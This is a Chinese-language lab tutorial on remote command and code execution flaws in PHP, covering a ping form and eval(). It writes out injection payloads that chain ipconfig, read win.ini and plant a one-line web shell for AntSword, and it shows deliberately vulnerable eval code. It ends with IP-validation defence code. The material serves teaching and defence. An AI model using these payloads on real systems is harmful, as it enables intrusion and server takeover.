RCE(remote command/code execute)概述:
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
输入IP地址查看页面反应
在ip地址的后门拼接说我们自己想执行的命令
127.0.0.1 & ipconfig
查看win.ini文件内容
127.0.0.1 && type C:\Windows\win.ini
同样的可以拼接各种命令如:systeminfo,net user等等。
还可以写入一句话木马进行连接
127.0.0.1 | echo "$_REQUEST[777])?>" > ../../../wuhu.php
然后使用中国蚁剑进行连接即可
代码中,首先$ _POST[‘ipaddress’]赋值给了$ip ,然后没有经过任何处理直接就传入shell_exec()函数执行,造成命令可拼接执行。
# 漏洞防御代码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
$check=explode('.', $ip);//可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(count($check) === 4 &&
($check[0] >= 1 && $check[0] <= 255) &&
($check[1] >= 0 && $check[1] <= 255) &&
($check[2] >= 0 && $check[2] <= 255) &&
ctype_digit($check[3]) && $check[3] >= 1 && $check[3] <= 255)
{
if(stristr(php_uname('s'), 'windows')){
$result.=shell_exec('ping '.$ip);
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}else {
// IP地址不合法
die("Invalid IP address!");
}
}
代码解析:
ctype_digit()
函数来验证第四位是否是整数。count()
函数来检查拆分后的数组元素数量是否为4。构造攻击代码
127.0.0.1 & ipconfig
页面显示Invalid IP address!
,防御成功!
eval():会将符合PHP 语法规范字符串当作php代码执行。
代码示例:
// $code = "phpinfo();";
// echo $code;
// var_dump($code);
$code = $_REQUEST['code'];
eval($code);
?>
一句话木马原型。
在输入框输入如下内容:
phpinfo();
查看源码发现没有做任何校验,直接将我们输入的代码传递到了eval()函数中。
在后端代码中尽量避免使用PHP危险函数。或者使用白名单策略,来对用户输入的命令做一个限制。